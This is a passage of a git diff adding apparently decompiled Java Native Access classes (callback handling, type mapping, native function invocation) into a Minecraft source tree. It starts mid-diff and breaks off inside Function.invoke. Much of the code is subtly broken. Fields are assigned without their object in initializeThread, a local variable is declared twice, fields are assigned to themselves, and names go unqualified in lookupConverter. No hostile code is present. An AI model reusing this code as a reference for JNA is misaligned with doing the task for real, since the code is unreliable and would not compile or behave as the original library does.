+++ b/src/minecraft/com/sun/jna/CallbackReference.java
@@ -0,0 +1,635 @@
+package com.sun.jna;
+
+import java.lang.ref.WeakReference;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.WeakHashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CallbackReference
+  extends WeakReference
+{
+  static final Map callbackMap = new WeakHashMap();
+  static final Map allocations = new WeakHashMap();
+  private static final Method PROXY_CALLBACK_METHOD;
+  
+  static {
+    try {
+      PROXY_CALLBACK_METHOD = class$com$sun$jna$CallbackProxy.getMethod("callback", new Class[] { new Object[0].getClass() });
+    }
+    catch (Exception e) {
+      throw new Error("Error looking up CallbackProxy.callback() method");
+    }
+  }
+  
+  private static final Map initializers = new WeakHashMap();
+  
+  static void setCallbackThreadInitializer(Callback cb, CallbackThreadInitializer initializer) { synchronized (callbackMap) {
+      if (initializer != null) {
+        initializers.put(cb, initializer);
+      }
+      else {
+        initializers.remove(cb);
+      }
+    }
+  }
+  
+
+
+  Pointer cbstruct;
+  
+
+  private static ThreadGroup initializeThread(Callback cb, AttachOptions args)
+  {
+    CallbackThreadInitializer init = null;
+    if ((cb instanceof DefaultCallbackProxy)) {
+      cb = ((DefaultCallbackProxy)cb).getCallback();
+    }
+    synchronized (initializers) {
+      init = (CallbackThreadInitializer)initializers.get(cb);
+    }
+    ThreadGroup group = null;
+    if (init != null) {
+      group = init.getThreadGroup(cb);
+      name = init.getName(cb);
+      daemon = init.isDaemon(cb);
+      detach = init.detach(cb);
+      args.write();
+    }
+    return group;
+  }
+  
+
+
+
+  public static Callback getCallback(Class type, Pointer p)
+  {
+    return getCallback(type, p, false);
+  }
+  
+  private static Callback getCallback(Class type, Pointer p, boolean direct) {
+    if (p == null) {
+      return null;
+    }
+    
+    if (!type.isInterface())
+      throw new IllegalArgumentException("Callback type must be an interface");
+    Map map = callbackMap;
+    synchronized (map) {
+      for (Iterator i = map.keySet().iterator(); i.hasNext();) {
+        Callback cb = (Callback)i.next();
+        if (type.isAssignableFrom(cb.getClass())) {
+          CallbackReference cbref = (CallbackReference)map.get(cb);
+          Pointer cbp = cbref != null ? cbref.getTrampoline() : getNativeFunctionPointer(cb);
+          
+          if (p.equals(cbp)) {
+            return cb;
+          }
+        }
+      }
+      int ctype = AltCallingConvention.class.isAssignableFrom(type) ? 1 : 0;
+      
+      Map foptions = new HashMap();
+      Map options = Native.getLibraryOptions(type);
+      if (options != null) {
+        foptions.putAll(options);
+      }
+      foptions.put("invoking-method", getCallbackMethod(type));
+      NativeFunctionHandler h = new NativeFunctionHandler(p, ctype, foptions);
+      Callback cb = (Callback)Proxy.newProxyInstance(type.getClassLoader(), new Class[] { type }, h);
+      map.put(cb, null);
+      return cb;
+    }
+  }
+  
+
+
+
+  private CallbackReference(Callback callback, int callingConvention, boolean direct)
+  {
+    super(callback);
+    TypeMapper mapper = Native.getTypeMapper(callback.getClass());
+    
+
+
+
+
+    String arch = System.getProperty("os.arch").toLowerCase();
+    boolean ppc = ("ppc".equals(arch)) || ("powerpc".equals(arch));
+    if (direct) {
+      Method m = getCallbackMethod(callback);
+      Class[] ptypes = m.getParameterTypes();
+      for (int i = 0; i < ptypes.length; i++)
+      {
+        if ((ppc) && ((ptypes[i] == Float.TYPE) || (ptypes[i] == Double.TYPE)))
+        {
+          direct = false;
+          break;
+        }
+        
+        if ((mapper != null) && (mapper.getFromNativeConverter(ptypes[i]) != null))
+        {
+          direct = false;
+          break;
+        }
+      }
+      if ((mapper != null) && (mapper.getToNativeConverter(m.getReturnType()) != null))
+      {
+        direct = false;
+      }
+    }
+    
+    if (direct) {
+      method = getCallbackMethod(callback);
+      Class[] nativeParamTypes = method.getParameterTypes();
+      Class returnType = method.getReturnType();
+      long peer = Native.createNativeCallback(callback, method, nativeParamTypes, returnType, callingConvention, true);
+      
+
+      cbstruct = (peer != 0L ? new Pointer(peer) : null);
+    }
+    else {
+      if ((callback instanceof CallbackProxy)) {
+        proxy = ((CallbackProxy)callback);
+      }
+      else {
+        proxy = new DefaultCallbackProxy(getCallbackMethod(callback), mapper);
+      }
+      Class[] nativeParamTypes = proxy.getParameterTypes();
+      Class returnType = proxy.getReturnType();
+      
+
+
+
+      if (mapper != null) {
+        for (int i = 0; i < nativeParamTypes.length; i++) {
+          FromNativeConverter rc = mapper.getFromNativeConverter(nativeParamTypes[i]);
+          if (rc != null) {
+            nativeParamTypes[i] = rc.nativeType();
+          }
+        }
+        ToNativeConverter tn = mapper.getToNativeConverter(returnType);
+        if (tn != null) {
+          returnType = tn.nativeType();
+        }
+      }
+      for (int i = 0; i < nativeParamTypes.length; i++) {
+        nativeParamTypes[i] = getNativeType(nativeParamTypes[i]);
+        if (!isAllowableNativeType(nativeParamTypes[i])) {
+          String msg = "Callback argument " + nativeParamTypes[i] + " requires custom type conversion";
+          
+          throw new IllegalArgumentException(msg);
+        }
+      }
+      returnType = getNativeType(returnType);
+      if (!isAllowableNativeType(returnType)) {
+        String msg = "Callback return type " + returnType + " requires custom type conversion";
+        
+        throw new IllegalArgumentException(msg);
+      }
+      long peer = Native.createNativeCallback(proxy, PROXY_CALLBACK_METHOD, nativeParamTypes, returnType, callingConvention, false);
+      
+
+      cbstruct = (peer != 0L ? new Pointer(peer) : null);
+    }
+  }
+  
+  private Class getNativeType(Class cls)
+  {
+    if (Structure.class.isAssignableFrom(cls))
+    {
+      Structure.newInstance(cls);
+      if (!Structure.ByValue.class.isAssignableFrom(cls))
+        return Pointer.class;
+    } else {
+      if (NativeMapped.class.isAssignableFrom(cls)) {
+        return NativeMappedConverter.getInstance(cls).nativeType();
+      }
+      if ((cls == String.class) || (cls == WString.class) || (cls == new String[0].getClass()) || (cls == new WString[0].getClass()) || (Callback.class.isAssignableFrom(cls)))
+      {
+
+
+
+        return Pointer.class; }
+    }
+    return cls;
+  }
+  
+  private static Method checkMethod(Method m) {
+    if (m.getParameterTypes().length > 256) {
+      String msg = "Method signature exceeds the maximum parameter count: " + m;
+      
+      throw new UnsupportedOperationException(msg);
+    }
+    return m;
+  }
+  
+
+
+
+  static Class findCallbackClass(Class type)
+  {
+    if (!Callback.class.isAssignableFrom(type)) {
+      throw new IllegalArgumentException(type.getName() + " is not derived from com.sun.jna.Callback");
+    }
+    if (type.isInterface()) {
+      return type;
+    }
+    Class[] ifaces = type.getInterfaces();
+    for (int i = 0; i < ifaces.length; i++) {
+      if (Callback.class.isAssignableFrom(ifaces[i])) {
+        try
+        {
+          getCallbackMethod(ifaces[i]);
+          return ifaces[i];
+        }
+        catch (IllegalArgumentException e) {}
+      }
+    }
+    
+
+    if (Callback.class.isAssignableFrom(type.getSuperclass())) {
+      return findCallbackClass(type.getSuperclass());
+    }
+    return type;
+  }
+  
+  private static Method getCallbackMethod(Callback callback) {
+    return getCallbackMethod(findCallbackClass(callback.getClass()));
+  }
+  
+  private static Method getCallbackMethod(Class cls)
+  {
+    Method[] pubMethods = cls.getDeclaredMethods();
+    Method[] classMethods = cls.getMethods();
+    Set pmethods = new HashSet(Arrays.asList(pubMethods));
+    pmethods.retainAll(Arrays.asList(classMethods));
+    
+
+    for (Iterator i = pmethods.iterator(); i.hasNext();) {
+      Method m = (Method)i.next();
+      if (Callback.FORBIDDEN_NAMES.contains(m.getName())) {
+        i.remove();
+      }
+    }
+    Method[] methods = (Method[])pmethods.toArray(new Method[pmethods.size()]);
+    if (methods.length == 1) {
+      return checkMethod(methods[0]);
+    }
+    for (int i = 0; i < methods.length; i++) {
+      Method m = methods[i];
+      if ("callback".equals(m.getName())) {
+        return checkMethod(m);
+      }
+    }
+    String msg = "Callback must implement a single public method, or one public method named 'callback'";
+    
+    throw new IllegalArgumentException(msg);
+  }
+  
+  private void setCallbackOptions(int options)
+  {
+    cbstruct.setInt(Pointer.SIZE, options);
+  }
+  
+  public Pointer getTrampoline()
+  {
+    return cbstruct.getPointer(0L);
+  }
+  
+  protected void finalize()
+  {
+    dispose();
+  }
+  
+  protected synchronized void dispose()
+  {
+    if (cbstruct != null) {
+      Native.freeNativeCallback(cbstruct.peer);
+      cbstruct.peer = 0L;
+      cbstruct = null;
+    }
+  }
+  
+  private Callback getCallback() {
+    return (Callback)get();
+  }
+  
+
+
+  private static Pointer getNativeFunctionPointer(Callback cb)
+  {
+    if (Proxy.isProxyClass(cb.getClass())) {
+      Object handler = Proxy.getInvocationHandler(cb);
+      if ((handler instanceof NativeFunctionHandler)) {
+        return ((NativeFunctionHandler)handler).getPointer();
+      }
+    }
+    return null;
+  }
+  
+
+
+  public static Pointer getFunctionPointer(Callback cb)
+  {
+    return getFunctionPointer(cb, false);
+  }
+  
+  private static Pointer getFunctionPointer(Callback cb, boolean direct)
+  {
+    Pointer fp = null;
+    if (cb == null) {
+      return null;
+    }
+    if ((fp = getNativeFunctionPointer(cb)) != null) {
+      return fp;
+    }
+    int callingConvention = (cb instanceof AltCallingConvention) ? 1 : 0;
+    
+    Map map = callbackMap;
+    synchronized (map) {
+      CallbackReference cbref = (CallbackReference)map.get(cb);
+      if (cbref == null) {
+        cbref = new CallbackReference(cb, callingConvention, direct);
+        map.put(cb, cbref);
+        if (initializers.containsKey(cb)) {
+          cbref.setCallbackOptions(1);
+        }
+      }
+      return cbref.getTrampoline();
+    } }
+  
+  static class AttachOptions extends Structure { public boolean daemon;
+    public boolean detach;
+    public String name;
+    
+    AttachOptions() {} }
+  
+  private class DefaultCallbackProxy implements CallbackProxy { public DefaultCallbackProxy(Method callbackMethod, TypeMapper mapper) { this.callbackMethod = callbackMethod;
+      Class[] argTypes = callbackMethod.getParameterTypes();
+      Class returnType = callbackMethod.getReturnType();
+      fromNative = new FromNativeConverter[argTypes.length];
+      if (NativeMapped.class.isAssignableFrom(returnType)) {
+        toNative = NativeMappedConverter.getInstance(returnType);
+      }
+      else if (mapper != null) {
+        toNative = mapper.getToNativeConverter(returnType);
+      }
+      for (int i = 0; i < fromNative.length; i++) {
+        if (NativeMapped.class.isAssignableFrom(argTypes[i])) {
+          fromNative[i] = new NativeMappedConverter(argTypes[i]);
+        }
+        else if (mapper != null) {
+          fromNative[i] = mapper.getFromNativeConverter(argTypes[i]);
+        }
+      }
+      if (!callbackMethod.isAccessible()) {
+        try {
+          callbackMethod.setAccessible(true);
+        }
+        catch (SecurityException e) {
+          throw new IllegalArgumentException("Callback method is inaccessible, make sure the interface is public: " + callbackMethod);
+        }
+      }
+    }
+    
+    public Callback getCallback() {
+      return CallbackReference.this.getCallback();
+    }
+    
+    private Object invokeCallback(Object[] args) {
+      Class[] paramTypes = callbackMethod.getParameterTypes();
+      Object[] callbackArgs = new Object[args.length];
+      
+
+      for (int i = 0; i < args.length; i++) {
+        Class type = paramTypes[i];
+        Object arg = args[i];
+        if (fromNative[i] != null) {
+          FromNativeContext context = new CallbackParameterContext(type, callbackMethod, args, i);
+          
+          callbackArgs[i] = fromNative[i].fromNative(arg, context);
+        }
+        else {
+          callbackArgs[i] = convertArgument(arg, type);
+        }
+      }
+      
+      Object result = null;
+      Callback cb = getCallback();
+      if (cb != null) {
+        try {
+          result = convertResult(callbackMethod.invoke(cb, callbackArgs));
+        }
+        catch (IllegalArgumentException e) {
+          Native.getCallbackExceptionHandler().uncaughtException(cb, e);
+        }
+        catch (IllegalAccessException e) {
+          Native.getCallbackExceptionHandler().uncaughtException(cb, e);
+        }
+        catch (InvocationTargetException e) {
+          Native.getCallbackExceptionHandler().uncaughtException(cb, e.getTargetException());
+        }
+      }
+      
+      for (int i = 0; i < callbackArgs.length; i++) {
+        if (((callbackArgs[i] instanceof Structure)) && (!(callbackArgs[i] instanceof Structure.ByValue)))
+        {
+          ((Structure)callbackArgs[i]).autoWrite();
+        }
+      }
+      
+      return result;
+    }
+    
+    private Method callbackMethod;
+    private ToNativeConverter toNative;
+    private FromNativeConverter[] fromNative;
+    public Object callback(Object[] args)
+    {
+      try
+      {
+        return invokeCallback(args);
+      }
+      catch (Throwable t) {
+        Native.getCallbackExceptionHandler().uncaughtException(getCallback(), t); }
+      return null;
+    }
+    
+
+
+
+    private Object convertArgument(Object value, Class dstType)
+    {
+      if ((value instanceof Pointer)) {
+        if (dstType == String.class) {
+          value = ((Pointer)value).getString(0L);
+        }
+        else if (dstType == WString.class) {
+          value = new WString(((Pointer)value).getString(0L, true));
+        }
+        else if ((dstType == new String[0].getClass()) || (dstType == new WString[0].getClass()))
+        {
+          value = ((Pointer)value).getStringArray(0L, dstType == new WString[0].getClass());
+        }
+        else if (Callback.class.isAssignableFrom(dstType)) {
+          value = CallbackReference.getCallback(dstType, (Pointer)value);
+        }
+        else if (Structure.class.isAssignableFrom(dstType)) {
+          Structure s = Structure.newInstance(dstType);
+          
+
+          if (Structure.ByValue.class.isAssignableFrom(dstType)) {
+            byte[] buf = new byte[s.size()];
+            ((Pointer)value).read(0L, buf, 0, buf.length);
+            s.getPointer().write(0L, buf, 0, buf.length);
+          }
+          else {
+            s.useMemory((Pointer)value);
+          }
+          s.read();
+          value = s;
+        }
+      }
+      else if (((Boolean.TYPE == dstType) || (Boolean.class == dstType)) && ((value instanceof Number)))
+      {
+        value = Function.valueOf(((Number)value).intValue() != 0);
+      }
+      return value;
+    }
+    
+    private Object convertResult(Object value) {
+      if (toNative != null) {
+        value = toNative.toNative(value, new CallbackResultContext(callbackMethod));
+      }
+      if (value == null)
+        return null;
+      Class cls = value.getClass();
+      if (Structure.class.isAssignableFrom(cls)) {
+        if (Structure.ByValue.class.isAssignableFrom(cls)) {
+          return value;
+        }
+        return ((Structure)value).getPointer();
+      }
+      if ((cls == Boolean.TYPE) || (cls == Boolean.class)) {
+        return Boolean.TRUE.equals(value) ? Function.INTEGER_TRUE : Function.INTEGER_FALSE;
+      }
+      
+      if ((cls == String.class) || (cls == WString.class)) {
+        return CallbackReference.getNativeString(value, cls == WString.class);
+      }
+      if ((cls == new String[0].getClass()) || (cls == WString.class)) {
+        StringArray sa = cls == new String[0].getClass() ? new StringArray((String[])value) : new StringArray((WString[])value);
+        
+
+
+        CallbackReference.allocations.put(value, sa);
+        return sa;
+      }
+      if (Callback.class.isAssignableFrom(cls)) {
+        return CallbackReference.getFunctionPointer((Callback)value);
+      }
+      return value;
+    }
+    
+    public Class[] getParameterTypes() { return callbackMethod.getParameterTypes(); }
+    
+    public Class getReturnType() {
+      return callbackMethod.getReturnType();
+    }
+  }
+  
+
+  private static class NativeFunctionHandler
+    implements InvocationHandler
+  {
+    private Function function;
+    private Map options;
+    
+    public NativeFunctionHandler(Pointer address, int callingConvention, Map options)
+    {
+      function = new Function(address, callingConvention);
+      this.options = options;
+    }
+    
+    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable
+    {
+      if (Library.Handler.OBJECT_TOSTRING.equals(method)) {
+        String str = "Proxy interface to " + function;
+        Method m = (Method)options.get("invoking-method");
+        Class cls = CallbackReference.findCallbackClass(m.getDeclaringClass());
+        str = str + " (" + cls.getName() + ")";
+        
+        return str;
+      }
+      if (Library.Handler.OBJECT_HASHCODE.equals(method)) {
+        return new Integer(hashCode());
+      }
+      if (Library.Handler.OBJECT_EQUALS.equals(method)) {
+        Object o = args[0];
+        if ((o != null) && (Proxy.isProxyClass(o.getClass()))) {
+          return Function.valueOf(Proxy.getInvocationHandler(o) == this);
+        }
+        return Boolean.FALSE;
+      }
+      if (Function.isVarArgs(method)) {
+        args = Function.concatenateVarArgs(args);
+      }
+      return function.invoke(method.getReturnType(), args, options);
+    }
+    
+    public Pointer getPointer() {
+      return function;
+    }
+  }
+  
+
+
+  private static boolean isAllowableNativeType(Class cls)
+  {
+    return (cls == Void.TYPE) || (cls == Void.class) || (cls == Boolean.TYPE) || (cls == Boolean.class) || (cls == Byte.TYPE) || (cls == Byte.class) || (cls == Short.TYPE) || (cls == Short.class) || (cls == Character.TYPE) || (cls == Character.class) || (cls == Integer.TYPE) || (cls == Integer.class) || (cls == Long.TYPE) || (cls == Long.class) || (cls == Float.TYPE) || (cls == Float.class) || (cls == Double.TYPE) || (cls == Double.class) || ((Structure.ByValue.class.isAssignableFrom(cls)) && (Structure.class.isAssignableFrom(cls))) || (Pointer.class.isAssignableFrom(cls));
+  }
+  
+
+
+
+  CallbackProxy proxy;
+  
+
+
+  Method method;
+  
+
+  private static Pointer getNativeString(Object value, boolean wide)
+  {
+    if (value != null) {
+      NativeString ns = new NativeString(value.toString(), wide);
+      
+      allocations.put(value, ns);
+      return ns.getPointer();
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/CallbackResultContext.java b/src/minecraft/com/sun/jna/CallbackResultContext.java
new file mode 100644
index 0000000..a9c322b
--- /dev/null
+++ b/src/minecraft/com/sun/jna/CallbackResultContext.java
@@ -0,0 +1,12 @@
+package com.sun.jna;
+
+import java.lang.reflect.Method;
+
+public class CallbackResultContext
+  extends ToNativeContext {
+  private Method method;
+  
+  CallbackResultContext(Method callbackMethod) { method = callbackMethod; }
+  
+  public Method getMethod() { return method; }
+}
diff --git a/src/minecraft/com/sun/jna/CallbackThreadInitializer.java b/src/minecraft/com/sun/jna/CallbackThreadInitializer.java
new file mode 100644
index 0000000..7ea9a2f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/CallbackThreadInitializer.java
@@ -0,0 +1,77 @@
+package com.sun.jna;
+
+
+
+
+
+
+
+public class CallbackThreadInitializer
+{
+  private boolean daemon;
+  
+
+
+
+
+
+  private boolean detach;
+  
+
+
+
+
+
+  private String name;
+  
+
+
+
+
+
+  private ThreadGroup group;
+  
+
+
+
+
+
+
+  public CallbackThreadInitializer()
+  {
+    this(true);
+  }
+  
+
+  public CallbackThreadInitializer(boolean daemon)
+  {
+    this(daemon, false);
+  }
+  
+  public CallbackThreadInitializer(boolean daemon, boolean detach) {
+    this(daemon, detach, null);
+  }
+  
+  public CallbackThreadInitializer(boolean daemon, boolean detach, String name) {
+    this(daemon, detach, name, null);
+  }
+  
+  public CallbackThreadInitializer(boolean daemon, boolean detach, String name, ThreadGroup group) {
+    this.daemon = daemon;
+    this.detach = detach;
+    this.name = name;
+    this.group = group;
+  }
+  
+
+  public String getName(Callback cb) { return name; }
+  
+  public ThreadGroup getThreadGroup(Callback cb) { return group; }
+  
+  public boolean isDaemon(Callback cb) { return daemon; }
+  
+  public boolean detach(Callback cb)
+  {
+    return detach;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/DefaultTypeMapper.java b/src/minecraft/com/sun/jna/DefaultTypeMapper.java
new file mode 100644
index 0000000..74e588c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/DefaultTypeMapper.java
@@ -0,0 +1,146 @@
+package com.sun.jna;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultTypeMapper
+  implements TypeMapper
+{
+  public DefaultTypeMapper() {}
+  
+  private static class Entry
+  {
+    public Class type;
+    public Object converter;
+    
+    public Entry(Class type, Object converter)
+    {
+      this.type = type;
+      this.converter = converter;
+    } }
+  
+  private List toNativeConverters = new ArrayList();
+  private List fromNativeConverters = new ArrayList();
+  
+  private Class getAltClass(Class cls) { if (cls == Boolean.class) {
+      return Boolean.TYPE;
+    }
+    if (cls == Boolean.TYPE) {
+      return Boolean.class;
+    }
+    if (cls == Byte.class) {
+      return Byte.TYPE;
+    }
+    if (cls == Byte.TYPE) {
+      return Byte.class;
+    }
+    if (cls == Character.class) {
+      return Character.TYPE;
+    }
+    if (cls == Character.TYPE) {
+      return Character.class;
+    }
+    if (cls == Short.class) {
+      return Short.TYPE;
+    }
+    if (cls == Short.TYPE) {
+      return Short.class;
+    }
+    if (cls == Integer.class) {
+      return Integer.TYPE;
+    }
+    if (cls == Integer.TYPE) {
+      return Integer.class;
+    }
+    if (cls == Long.class) {
+      return Long.TYPE;
+    }
+    if (cls == Long.TYPE) {
+      return Long.class;
+    }
+    if (cls == Float.class) {
+      return Float.TYPE;
+    }
+    if (cls == Float.TYPE) {
+      return Float.class;
+    }
+    if (cls == Double.class) {
+      return Double.TYPE;
+    }
+    if (cls == Double.TYPE) {
+      return Double.class;
+    }
+    return null;
+  }
+  
+
+
+  public void addToNativeConverter(Class cls, ToNativeConverter converter)
+  {
+    toNativeConverters.add(new Entry(cls, converter));
+    Class alt = getAltClass(cls);
+    if (alt != null) {
+      toNativeConverters.add(new Entry(alt, converter));
+    }
+  }
+  
+
+  public void addFromNativeConverter(Class cls, FromNativeConverter converter)
+  {
+    fromNativeConverters.add(new Entry(cls, converter));
+    Class alt = getAltClass(cls);
+    if (alt != null) {
+      fromNativeConverters.add(new Entry(alt, converter));
+    }
+  }
+  
+
+  protected void addTypeConverter(Class cls, TypeConverter converter)
+  {
+    addFromNativeConverter(cls, converter);
+    addToNativeConverter(cls, converter);
+  }
+  
+  private Object lookupConverter(Class javaClass, List converters) {
+    for (Iterator i = converters.iterator(); i.hasNext();) {
+      Entry entry = (Entry)i.next();
+      if (type.isAssignableFrom(javaClass)) {
+        return converter;
+      }
+    }
+    return null;
+  }
+  
+
+  public FromNativeConverter getFromNativeConverter(Class javaType)
+  {
+    return (FromNativeConverter)lookupConverter(javaType, fromNativeConverters);
+  }
+  
+
+  public ToNativeConverter getToNativeConverter(Class javaType)
+  {
+    return (ToNativeConverter)lookupConverter(javaType, toNativeConverters);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/FromNativeContext.java b/src/minecraft/com/sun/jna/FromNativeContext.java
new file mode 100644
index 0000000..ef3b31e
--- /dev/null
+++ b/src/minecraft/com/sun/jna/FromNativeContext.java
@@ -0,0 +1,25 @@
+package com.sun.jna;
+
+
+
+
+
+
+public class FromNativeContext
+{
+  private Class type;
+  
+
+
+
+
+
+  FromNativeContext(Class javaType)
+  {
+    type = javaType;
+  }
+  
+  public Class getTargetType() {
+    return type;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/FromNativeConverter.java b/src/minecraft/com/sun/jna/FromNativeConverter.java
new file mode 100644
index 0000000..43aead2
--- /dev/null
+++ b/src/minecraft/com/sun/jna/FromNativeConverter.java
@@ -0,0 +1,8 @@
+package com.sun.jna;
+
+public abstract interface FromNativeConverter
+{
+  public abstract Object fromNative(Object paramObject, FromNativeContext paramFromNativeContext);
+  
+  public abstract Class nativeType();
+}
diff --git a/src/minecraft/com/sun/jna/Function.java b/src/minecraft/com/sun/jna/Function.java
new file mode 100644
index 0000000..89bc797
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Function.java
@@ -0,0 +1,768 @@
+package com.sun.jna;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.Collections;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Function
+  extends Pointer
+{
+  public static final int MAX_NARGS = 256;
+  public static final int C_CONVENTION = 0;
+  public static final int ALT_CONVENTION = 1;
+  private static final int MASK_CC = 3;
+  public static final int THROW_LAST_ERROR = 4;
+  static final Integer INTEGER_TRUE = new Integer(-1);
+  static final Integer INTEGER_FALSE = new Integer(0);
+  
+
+  private NativeLibrary library;
+  
+
+  private final String functionName;
+  
+
+  int callFlags;
+  
+  final Map options;
+  
+  static final String OPTION_INVOKING_METHOD = "invoking-method";
+  
+
+  public static Function getFunction(String libraryName, String functionName)
+  {
+    return NativeLibrary.getInstance(libraryName).getFunction(functionName);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Function getFunction(String libraryName, String functionName, int callFlags)
+  {
+    return NativeLibrary.getInstance(libraryName).getFunction(functionName, callFlags);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static Function getFunction(Pointer p)
+  {
+    return getFunction(p, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Function getFunction(Pointer p, int callFlags)
+  {
+    return new Function(p, callFlags);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  Function(NativeLibrary library, String functionName, int callFlags)
+  {
+    checkCallingConvention(callFlags & 0x3);
+    if (functionName == null)
+      throw new NullPointerException("Function name must not be null");
+    this.library = library;
+    this.functionName = functionName;
+    this.callFlags = callFlags;
+    options = options;
+    try {
+      peer = library.getSymbolAddress(functionName);
+    }
+    catch (UnsatisfiedLinkError e) {
+      throw new UnsatisfiedLinkError("Error looking up function '" + functionName + "': " + e.getMessage());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  Function(Pointer functionAddress, int callFlags)
+  {
+    checkCallingConvention(callFlags & 0x3);
+    if ((functionAddress == null) || (peer == 0L))
+    {
+      throw new NullPointerException("Function address may not be null");
+    }
+    functionName = functionAddress.toString();
+    this.callFlags = callFlags;
+    peer = peer;
+    options = Collections.EMPTY_MAP;
+  }
+  
+  private void checkCallingConvention(int convention) throws IllegalArgumentException
+  {
+    switch (convention) {
+    case 0: 
+    case 1: 
+      break;
+    default: 
+      throw new IllegalArgumentException("Unrecognized calling convention: " + convention);
+    }
+  }
+  
+  public String getName()
+  {
+    return functionName;
+  }
+  
+  public int getCallingConvention()
+  {
+    return callFlags & 0x3;
+  }
+  
+
+
+  public Object invoke(Class returnType, Object[] inArgs)
+  {
+    return invoke(returnType, inArgs, options);
+  }
+  
+
+
+
+
+  public Object invoke(Class returnType, Object[] inArgs, Map options)
+  {
+    Object[] args = new Object[0];
+    if (inArgs != null) {
+      if (inArgs.length > 256) {
+        throw new UnsupportedOperationException("Maximum argument count is 256");
+      }
+      args = new Object[inArgs.length];
+      System.arraycopy(inArgs, 0, args, 0, args.length);
+    }
+    
+    TypeMapper mapper = (TypeMapper)options.get("type-mapper");
+    
+    Method invokingMethod = (Method)options.get("invoking-method");
+    boolean allowObjects = Boolean.TRUE.equals(options.get("allow-objects"));
+    for (int i = 0; i < args.length; i++) {
+      args[i] = convertArgument(args, i, invokingMethod, mapper, allowObjects);
+    }
+    
+
+    Class nativeType = returnType;
+    FromNativeConverter resultConverter = null;
+    if (NativeMapped.class.isAssignableFrom(returnType)) {
+      NativeMappedConverter tc = NativeMappedConverter.getInstance(returnType);
+      resultConverter = tc;
+      nativeType = tc.nativeType();
+    }
+    else if (mapper != null) {
+      resultConverter = mapper.getFromNativeConverter(returnType);
+      if (resultConverter != null) {
+        nativeType = resultConverter.nativeType();
+      }
+    }
+    
+    Object result = invoke(args, nativeType, allowObjects);
+    
+
+    if (resultConverter != null) {
+      FromNativeContext context;
+      FromNativeContext context;
+      if (invokingMethod != null) {
+        context = new MethodResultContext(returnType, this, inArgs, invokingMethod);
+      } else {
+        context = new FunctionResultContext(returnType, this, inArgs);
+      }
+      result = resultConverter.fromNative(result, context);
+    }
+    
+
+    if (inArgs != null) {
+      for (int i = 0; i < inArgs.length; i++) {
+        Object inArg = inArgs[i];
+        if (inArg != null)
+        {
+          if ((inArg instanceof Structure)) {
+            if (!(inArg instanceof Structure.ByValue)) {
+              ((Structure)inArg).autoRead();
+            }
+          }
+          else if ((args[i] instanceof PostCallRead)) {
+            ((PostCallRead)args[i]).read();
+            if ((args[i] instanceof PointerArray)) {
+              PointerArray array = (PointerArray)args[i];
+              if (new Structure.ByReference[0].getClass().isAssignableFrom(inArg.getClass())) {
+                Class type = inArg.getClass().getComponentType();
+                Structure[] ss = (Structure[])inArg;
+                for (int si = 0; si < ss.length; si++) {
+                  Pointer p = array.getPointer(Pointer.SIZE * si);
+                  ss[si] = Structure.updateStructureByReference(type, ss[si], p);
+                }
+              }
+            }
+          }
+          else if (new Structure[0].getClass().isAssignableFrom(inArg.getClass())) {
+            Structure.autoRead((Structure[])inArg);
+          }
+        }
+      }
+    }
+    return result;
+  }
+  
+  Object invoke(Object[] args, Class returnType, boolean allowObjects)
+  {
+    Object result = null;
+    if ((returnType == null) || (returnType == Void.TYPE) || (returnType == Void.class)) {
+      Native.invokeVoid(peer, callFlags, args);
+      result = null;
+    }
+    else if ((returnType == Boolean.TYPE) || (returnType == Boolean.class)) {
+      result = valueOf(Native.invokeInt(peer, callFlags, args) != 0);
+    }
+    else if ((returnType == Byte.TYPE) || (returnType == Byte.class)) {
+      result = new Byte((byte)Native.invokeInt(peer, callFlags, args));
+    }
+    else if ((returnType == Short.TYPE) || (returnType == Short.class)) {
+      result = new Short((short)Native.invokeInt(peer, callFlags, args));
+    }
+    else if ((returnType == Character.TYPE) || (returnType == Character.class)) {
+      result = new Character((char)Native.invokeInt(peer, callFlags, args));
+    }
+    else if ((returnType == Integer.TYPE) || (returnType == Integer.class)) {
+      result = new Integer(Native.invokeInt(peer, callFlags, args));
+    }
+    else if ((returnType == Long.TYPE) || (returnType == Long.class)) {
+      result = new Long(Native.invokeLong(peer, callFlags, args));
+    }
+    else if ((returnType == Float.TYPE) || (returnType == Float.class)) {
+      result = new Float(Native.invokeFloat(peer, callFlags, args));
+    }
+    else if ((returnType == Double.TYPE) || (returnType == Double.class)) {
+      result = new Double(Native.invokeDouble(peer, callFlags, args));
+    }
+    else if (returnType == String.class) {
+      result = invokeString(callFlags, args, false);
+    }
+    else if (returnType == WString.class) {
+      String s = invokeString(callFlags, args, true);
+      if (s != null) {
+        result = new WString(s);
+      }
+    } else {
+      if (Pointer.class.isAssignableFrom(returnType)) {
+        return invokePointer(callFlags, args);
+      }
+      if (Structure.class.isAssignableFrom(returnType)) {
+        if (Structure.ByValue.class.isAssignableFrom(returnType)) {
